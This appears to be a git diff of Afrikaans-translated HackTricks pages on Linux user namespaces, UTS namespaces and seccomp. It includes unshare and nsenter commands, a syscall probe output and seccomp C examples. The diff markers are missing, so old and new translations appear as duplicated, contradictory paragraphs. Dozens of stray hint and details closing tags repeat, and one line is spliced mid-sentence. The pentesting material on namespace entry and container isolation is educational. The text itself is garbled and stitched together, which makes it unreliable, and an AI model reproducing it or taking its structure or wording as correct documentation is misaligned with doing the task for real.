In die geval van gebruikersnamespaces, **wanneer 'n nuwe gebruikersnamespace geskep word, word die proses wat die namespace betree, 'n volledige stel vaardighede binne daardie namespace toegeken**. Hierdie vaardighede stel die proses in staat om bevoorregte handelinge uit te voer soos **die koppel van lêersisteme**, die skep van toestelle, of die verandering van eienaarskap van lêers, maar **slegs binne die konteks van sy gebruikersnamespace**.
|
||||
In die geval van gebruikersname ruimtes, **wanneer 'n nuwe gebruikersnaam ruimte geskep word, word die proses wat in die ruimte ingaan 'n volle stel vermoëns binne daardie ruimte toegestaan**. Hierdie vermoëns stel die proses in staat om bevoorregte operasies uit te voer soos **montering** **van lêerstelsels**, die skep van toestelle, of die verandering van eienaarskap van lêers, maar **slegs binne die konteks van sy gebruikersnaam ruimte**.
|
||||
|
||||
Byvoorbeeld, as jy die `CAP_SYS_ADMIN` vaardigheid binne 'n gebruikersnamespace het, kan jy handelinge uitvoer wat tipies hierdie vaardigheid vereis, soos die koppel van lêersisteme, maar slegs binne die konteks van jou gebruikersnamespace. Enige handelinge wat jy met hierdie vaardigheid uitvoer, sal nie die gasheerstelsel of ander namespaces beïnvloed nie.
|
||||
Byvoorbeeld, wanneer jy die `CAP_SYS_ADMIN` vermoë binne 'n gebruikersnaam ruimte het, kan jy operasies uitvoer wat tipies hierdie vermoë vereis, soos om lêerstelsels te monteer, maar slegs binne die konteks van jou gebruikersnaam ruimte. Enige operasies wat jy met hierdie vermoë uitvoer, sal nie die gasheerstelsel of ander naam ruimtes beïnvloed nie.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daarom, selfs al sal die verkryging van 'n nuwe proses binne 'n nuwe gebruikersnamespace **alle vaardighede teruggee** (CapEff: 000001ffffffffff), kan jy eintlik **slegs diegene wat verband hou met die namespace** gebruik (soos die koppel van lêers byvoorbeeld), maar nie almal nie. Dus is dit op sigself nie genoeg om uit 'n Docker-houer te ontsnap nie.
|
||||
Daarom, selfs al sal die verkryging van 'n nuwe proses binne 'n nuwe gebruikersnaam ruimte **jou al die vermoëns teruggee** (CapEff: 000001ffffffffff), kan jy eintlik **slegs diegene wat met die ruimte verband hou gebruik** (montering byvoorbeeld) maar nie elkeen nie. So, dit op sigself is nie genoeg om uit 'n Docker houer te ontsnap nie.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# There are the syscalls that are filtered after changing User namespace with:
|
||||
|
@ -162,21 +150,29 @@ Probando: 0x130 . . . Error
|
|||
Probando: 0x139 . . . Error
|
||||
Probando: 0x140 . . . Error
|
||||
Probando: 0x141 . . . Error
|
||||
Probando: 0x143 . . . Error
|
||||
```
|
||||
## Verwysings
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,72 @@
|
|||
# UTS-namespace
|
||||
# UTS Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
'n UTS (UNIX Time-Sharing System)-naamruimte is 'n Linux-kernelkenmerk wat **isolering van twee stelselidentifiseerders** bied: die **gasheernaam** en die **NIS** (Network Information Service) domeinnaam. Hierdie isolering maak dit moontlik dat elke UTS-naamruimte sy **eie onafhanklike gasheernaam en NIS-domeinnaam** het, wat veral nuttig is in konteinerisasiescenarios waar elke kontainer as 'n aparte stelsel met sy eie gasheernaam moet voorkom.
|
||||
'n UTS (UNIX Time-Sharing System) namespace is 'n Linux-kernfunksie wat **isolasie van twee stelselnommers** bied: die **hostname** en die **NIS** (Network Information Service) domeinnaam. Hierdie isolasie laat elke UTS namespace toe om sy **eie onafhanklike hostname en NIS domeinnaam** te hê, wat veral nuttig is in kontenerisasiescenario's waar elke kontener as 'n aparte stelsel met sy eie hostname moet verskyn.
|
||||
|
||||
### Hoe dit werk:
|
||||
### How it works:
|
||||
|
||||
1. Wanneer 'n nuwe UTS-naamruimte geskep word, begin dit met 'n **kopie van die gasheernaam en NIS-domeinnaam van sy ouernaamruimte**. Dit beteken dat die nuwe naamruimte by skepping **dieselfde identifiseerders as sy ouer deel**. Enige latere veranderinge aan die gasheernaam of NIS-domeinnaam binne die naamruimte sal egter nie ander naamruimtes beïnvloed nie.
|
||||
2. Prosesse binne 'n UTS-naamruimte **kan die gasheernaam en NIS-domeinnaam verander** deur die `sethostname()` en `setdomainname()` stelseloproepe onderskeidelik te gebruik. Hierdie veranderinge is plaaslik vir die naamruimte en beïnvloed nie ander naamruimtes of die gasheerstelsel nie.
|
||||
3. Prosesse kan tussen naamruimtes beweeg deur die `setns()` stelseloproep te gebruik of nuwe naamruimtes te skep deur die `unshare()` of `clone()` stelseloproepe met die `CLONE_NEWUTS` vlag. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, sal dit begin om die gasheernaam en NIS-domeinnaam wat met daardie naamruimte geassosieer word, te gebruik.
|
||||
1. Wanneer 'n nuwe UTS namespace geskep word, begin dit met 'n **kopie van die hostname en NIS domeinnaam van sy ouer namespace**. Dit beteken dat, by skepping, die nuwe namespace **die dieselfde identifiseerders as sy ouer deel**. egter, enige daaropvolgende veranderinge aan die hostname of NIS domeinnaam binne die namespace sal nie ander namespaces beïnvloed nie.
|
||||
2. Prosesse binne 'n UTS namespace **kan die hostname en NIS domeinnaam verander** deur die `sethostname()` en `setdomainname()` stelselaanroepe, onderskeidelik. Hierdie veranderinge is plaaslik vir die namespace en beïnvloed nie ander namespaces of die gasheerstelsel nie.
|
||||
3. Prosesse kan tussen namespaces beweeg deur die `setns()` stelselaanroep of nuwe namespaces skep deur die `unshare()` of `clone()` stelselaanroepe met die `CLONE_NEWUTS` vlag. Wanneer 'n proses na 'n nuwe namespace beweeg of een skep, sal dit begin om die hostname en NIS domeinnaam wat met daardie namespace geassosieer word, te gebruik.
|
||||
|
||||
## Laboratorium:
|
||||
## Lab:
|
||||
|
||||
### Skep verskillende Naamruimtes
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -u [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-sisteemaanroep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) betree egter nie die nuwe naamruimte nie; slegs sy kindproses doen.
|
||||
- Om `%unshare -p /bin/bash%` te loop, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, veroorsaak dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie nie 'n nuwe PID kan toeken by die skep van 'n nuwe proses nie, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die mislukking van die `alloc_pid` funksie om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak dit vir `unshare` moontlik om 'n nuwe proses te vork nadat die nuwe PID-namespace geskep is.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse funksioneer sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,25 +74,12 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/ns/uts
|
||||
```
|
||||
|
||||
Hier is die betekenis van die opdrag:
|
||||
|
||||
- `cat`: Die opdrag om die inhoud van 'n lêer te vertoon.
|
||||
- `/proc/$$/ns/uts`: Die pad na die UTS-namespace-lêer van die huidige proses.
|
||||
|
||||
Die uitset van hierdie opdrag sal die inode-nommer van die UTS-namespace-lêer wees.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/uts
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||
```
|
||||
### Vind alle UTS-ruimtes
|
||||
### Vind alle UTS-namespaces
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -86,34 +87,51 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Betree 'n UTS-namespace
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
nsenter -u TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ook, jy kan slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy kan **nie** **toegang kry tot 'n ander namespace sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/uts`).
|
||||
|
||||
### Verander gasheernaam
|
||||
### Gaan binne 'n UTS-namespace in
|
||||
```bash
|
||||
unshare -u /bin/bash
|
||||
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
||||
```
|
||||
## Verwysings
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,39 @@
|
|||
# Seccomp
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
**Seccomp**, wat staan vir Secure Computing Mode, is 'n sekuriteitskenmerk van die **Linux-kernel wat ontwerp is om stelseloproepe te filtreer**. Dit beperk prosesse tot 'n beperkte stel stelseloproepe (`exit()`, `sigreturn()`, `read()` en `write()` vir reeds-geopen lêerbeskrywers). As 'n proses probeer om iets anders te roep, word dit deur die kernel beëindig deur gebruik te maak van SIGKILL of SIGSYS. Hierdie meganisme virtualiseer nie hulpbronne nie, maar isoleer die proses daarvan.
|
||||
**Seccomp**, wat staan vir Secure Computing mode, is 'n sekuriteitskenmerk van die **Linux-kern wat ontwerp is om stelsels oproepe te filter**. Dit beperk prosesse tot 'n beperkte stel stelsels oproepe (`exit()`, `sigreturn()`, `read()`, en `write()` vir reeds-geopende lêer beskrywings). As 'n proses probeer om enigiets anders aan te roep, word dit deur die kern beëindig met SIGKILL of SIGSYS. Hierdie meganisme virtualiseer nie hulpbronne nie, maar isoleer die proses daarvan.
|
||||
|
||||
Daar is twee maniere om seccomp te aktiveer: deur die `prctl(2)` stelseloproep met `PR_SET_SECCOMP`, of vir Linux-kernel 3.17 en hoër, die `seccomp(2)` stelseloproep. Die ouer metode om seccomp te aktiveer deur na `/proc/self/seccomp` te skryf, is verouderd en is vervang deur `prctl()`.
|
||||
Daar is twee maniere om seccomp te aktiveer: deur die `prctl(2)` stelsels oproep met `PR_SET_SECCOMP`, of vir Linux-kerns 3.17 en hoër, die `seccomp(2)` stelsels oproep. Die ouer metode om seccomp in te skakel deur na `/proc/self/seccomp` te skryf, is verouderd ten gunste van `prctl()`.
|
||||
|
||||
'n Verbetering, **seccomp-bpf**, voeg die vermoë by om stelseloproepe te filtreer met 'n aanpasbare beleid deur gebruik te maak van Berkeley Packet Filter (BPF) reëls. Hierdie uitbreiding word benut deur sagteware soos OpenSSH, vsftpd, en die Chrome/Chromium-webblaaier op Chrome OS en Linux vir buigsame en doeltreffende stelseloproep-filtrering, as 'n alternatief vir die nou nie-ondersteunde systrace vir Linux.
|
||||
'n Verbetering, **seccomp-bpf**, voeg die vermoë by om stelsels oproepe te filter met 'n aanpasbare beleid, met behulp van Berkeley Packet Filter (BPF) reëls. Hierdie uitbreiding word benut deur sagteware soos OpenSSH, vsftpd, en die Chrome/Chromium-browsers op Chrome OS en Linux vir buigsame en doeltreffende syscall-filtering, wat 'n alternatief bied vir die nou nie-ondersteunde systrace vir Linux.
|
||||
|
||||
### **Oorspronklike/Strikte Modus**
|
||||
### **Original/Strict Mode**
|
||||
|
||||
In hierdie modus laat Seccomp **slegs die stelseloproepe toe** `exit()`, `sigreturn()`, `read()` en `write()` na reeds-geopen lêerbeskrywers. As enige ander stelseloproep gemaak word, word die proses doodgemaak deur gebruik te maak van SIGKILL.
|
||||
In hierdie modus laat Seccomp **slegs die syscalls** `exit()`, `sigreturn()`, `read()` en `write()` toe vir reeds-geopende lêer beskrywings. As enige ander syscall gemaak word, word die proses doodgemaak met SIGKILL
|
||||
|
||||
{% code title="seccomp_strict.c" %}
|
||||
```c
|
||||
|
@ -62,7 +71,7 @@ printf("You will not see this message--the process will be killed first\n");
|
|||
|
||||
### Seccomp-bpf
|
||||
|
||||
Hierdie modus maak dit moontlik om **sistemaanroepings te filter deur gebruik te maak van 'n konfigureerbare beleid** wat geïmplementeer word deur gebruik te maak van Berkeley Packet Filter reëls.
|
||||
Hierdie modus laat **filtrering van stelsels oproepe toe met 'n konfigureerbare beleid** wat geïmplementeer is met behulp van Berkeley Packet Filter reëls.
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```c
|
||||
|
@ -116,29 +125,29 @@ printf("this process is %d\n", getpid());
|
|||
|
||||
## Seccomp in Docker
|
||||
|
||||
**Seccomp-bpf** word deur **Docker** ondersteun om die **syscalls** van die houers te beperk en sodoende die oppervlakte te verminder. Jy kan die **syscalls wat standaard geblokkeer word** vind by [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) en die **standaard seccomp-profiel** kan hier gevind word [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Jy kan 'n docker-houer uitvoer met 'n **verskillende seccomp-beleid** met:
|
||||
**Seccomp-bpf** word deur **Docker** ondersteun om die **syscalls** van die houers te beperk, wat effektief die oppervlakarea verminder. Jy kan die **syscalls wat geblokkeer** word **per standaard** vind in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) en die **standaard seccomp-profiel** kan hier gevind word [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Jy kan 'n docker-houer met 'n **verskillende seccomp** beleid uitvoer met:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
As jy byvoorbeeld 'n houer wil **verbied** om sekere **syscall** soos `uname` uit te voer, kan jy die verstek profiel aflaai vanaf [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) en net die `uname` string uit die lys **verwyder**.\
|
||||
As jy seker wil maak dat **'n sekere binêre lêer nie binne 'n Docker-houer werk nie**, kan jy strace gebruik om die syscalls wat die binêre lêer gebruik, te lys en dit dan verbied.\
|
||||
As jy byvoorbeeld 'n container wil **verbied** om 'n **syscall** soos `uname` uit te voer, kan jy die standaardprofiel aflaai van [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) en net die **`uname` string uit die lys **verwyder.\
|
||||
